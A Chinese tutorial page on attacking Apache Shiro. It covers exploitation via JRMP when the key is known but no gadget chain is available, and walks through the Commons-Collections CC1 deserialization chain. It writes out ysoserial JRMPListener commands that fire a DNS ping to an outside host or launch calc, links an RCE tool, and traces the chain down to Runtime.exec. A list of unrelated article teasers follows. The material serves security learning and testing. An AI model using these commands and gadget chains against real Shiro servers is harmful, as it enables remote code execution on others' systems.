JAVA攻防-Shiro专题有key无利用链JRMP协议CC1链分析Transform执行链

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1170201.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

边缘智算新引擎 DPU 驱动的算力革新

2026年1月7日,工信部印发《工业互联网和人工智能融合赋能行动方案》,强化工业智能算力供给。加快工业互联网与通算中心、智算中心、超算中心融合应用,鼓励公共算力服务商向工业企业提供服务。引导工业企业加快边缘一体机、智能网关等设备部署…

从需求分析到精准匹配:解码专业红娘的“择偶系统设计”逻辑

作为一名长期与逻辑和系统打交道的技术人,你是否发现:调试代码比处理情感问题简单得多?今天我们从系统设计的角度,聊聊专业红娘如何帮你解决这个“非线性优化问题”。一、问题定义:为什么择偶需求比产品需求更难厘清&a…

2026最新MinGW64官网下载安装全攻略教程(含环境变量配置避坑,适合新手小白) - xiema

MinGW(Minimalist GNU for Windows)是Windows平台上非常受欢迎的 C/C++ 编译工具。 简单来说,MinGW 就是把 Linux 下大名鼎鼎的 GCC 编译器"移植"到了 Windows 系统,让你不用装虚拟机就能在 Win 上直接编…

开源大模型中的Agent概念解析

你好!这个问题问得非常好,因为“Agent”确实是当前AI领域,尤其是大模型应用中最热门、最关键的概念之一。 简单来说,在大模型语境下的“Agent”(智能体),指的是一种能够理解用户指令、自主规划并…

C++小白训练第六天

C++小白训练第六天 以下为牛客挑战 今日收获了解了map<int,int>m;,map可以去重共,因为键值对key是唯一的,for (auto it = m.begin(); it != m.end(); ++it) {int key = it->first; // 键int& val …

Educational Codeforces Round 186 C-F 个人题解

Educational Codeforces Round 186 C - Production of Snowmen给定三个分别有 $n$ 个元素的环 $a,b,c$,现在要选择一个三元组 $(i,j,k),1\le i,j,k\le n$,使得 $(a_i,b_j,c_k),(a_{i+1},b_{j+1},c_{k+1}),\cdots,(a_…

FPGA系统架构设计实践11_FPGA开机 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

文档翻译在高校中的应用

唐帕文档翻译在高校的应用&#xff1a;多元场景与价值提升 在全球化与知识共享加速的背景下&#xff0c;唐帕文档翻译在高等教育领域的作用日益凸显。高校作为学术研究、人才培养和国际交流的核心枢纽&#xff0c;对高效、精准的文档翻译有着广泛而深入的需求。其应用主要体现…

2026国内最新运动瑜伽面料品牌top10推荐!广东广州等地优质面料企业权威榜单发布,功能性与品质双优助力运动服饰升级. - 品牌推荐2026

随着健康生活方式的普及与运动服饰市场的蓬勃发展,运动瑜伽面料作为核心原材料,其功能性、舒适性与环保性成为品牌竞争的关键。据中国纺织工业联合会最新行业报告显示,2025年功能性运动面料市场规模突破800亿元,年…

从零开始配置neovim

前言 使用lazy配置neovim还算简单。 但由于许多插件和neovim本体更新迅速,许多教程已经过时(由于是新更新的,ai酱也不知道捏)。 整理一下配置过程。 init.lua 在配置目录下创建init.lua。 理论上只需要一个文件就能配…

2025年南京邮电大学计算机考研复试机试真题(解题思路 + AC 代码)

2025年南京邮电大学计算机考研复试机试真题 2025年南京邮电大学计算机考研复试上机真题 历年南京邮电大学计算机考研复试上机真题 历年南京邮电大学计算机考研复试机试真题 更多学校完整题目开源地址&#xff1a;https://gitcode.com/u014339447/pgcode 百度一下pgcode 即…

模组日志总体介绍

一、本文讨论的边界 本文是对合宙 4G 模组&#xff0c; 以及 4GGNSS 模组的日志功能的总体介绍。通过日志&#xff0c;可以对研发过程中&#xff0c;以及模组运行过程中的各种故障进行分析。二、4G 模组日志的几种类型 4G 模组的日志有两种类型&#xff1a; 业务日志和底层日…

sys系统消息

今天我们特别来讲一讲关于sys系统消息 1、DTIMER_WAKEUP deep sleep timer定时时间到回调 额外返回参数 无 例子 sys.subscribe("DTIMER_WAKEUP", function(timer_id)log.info("deep sleep timer", timer_id) end)2、YHM27XX_REG YHM27XX芯片寄存器…

3.手写线程池-C语言版

主要参考这篇文章进行学习https://subingwen.cn/linux/threadpool/ 开源地址https://github.com/r5ett/threadpool--C.git 1.线程池原理 在处理并发操作的时候,如果处理一个任务就是遇到一个任务就去创建一个线程,任…

如何克隆Demo代码仓库

今天我们特别将本章介绍给大家&#xff0c;带我们快速体验LuatOS的入门 一、背景介绍 这里&#xff0c;先要告诉你一些前提条件&#xff0c;希望你能够认真看一看这一节。 这个项目的产品定义是&#xff1a;模组每隔3秒&#xff0c;就往串口输出一次 “ hello world” 字符串…

高效筛选20w热点数据,从MySQL 2000w中精准提取

文章目录MySQL里有2000w数据&#xff0c;Redis中只存20w的数据&#xff0c;如何保证Redis中的数据都是热点数据&#xff1f;一、什么是热点数据&#xff1f;二、方法一&#xff1a;日志分析法1. 基本思路2. 实际操作3. 缺点三、方法二&#xff1a;实时统计法1. 基本思路2. 实际…

LuatOS-Air脚本移植到LuatOS版本注意事项

一、lua版本不一样 LuatOS-Air使用的是lua5.1版本&#xff0c;本身不支持位移运算符。 LuatOS使用的是lua5.3版本&#xff0c;取消了module(..., package.seeall)这种形式的跨文件调用。 二、api不同 首先说明&#xff0c;core和脚本有所不同&#xff0c;用户可以理解为&am…

AI搜索新趋势:品牌推广如何赢得DeepSeek等智能模型的青睐?

在生成式AI&#xff08;如DeepSeek、豆包、Kimi&#xff09;快速发展的今天&#xff0c;传统的搜索引擎优化&#xff08;SEO&#xff09;正在向生成式引擎优化&#xff08;GEO&#xff09;演进。品牌信息的传播逻辑发生了重要变化&#xff1a;不仅要争取在搜索结果中排名靠前&a…

一文搞定AI排名SEO的手段:从“反向提问”来优化AI排名

我们过去理解的谷歌排名&#xff0c;大致可以简化为一个公式&#xff1a; 谷歌理解用户的查询&#xff0c;理解你的网页内容&#xff0c;再结合一些外部信号&#xff08;比如外链&#xff09;&#xff0c;最后给出一个排名。 但在AI模式下&#xff0c;这个公式已经不够用了。…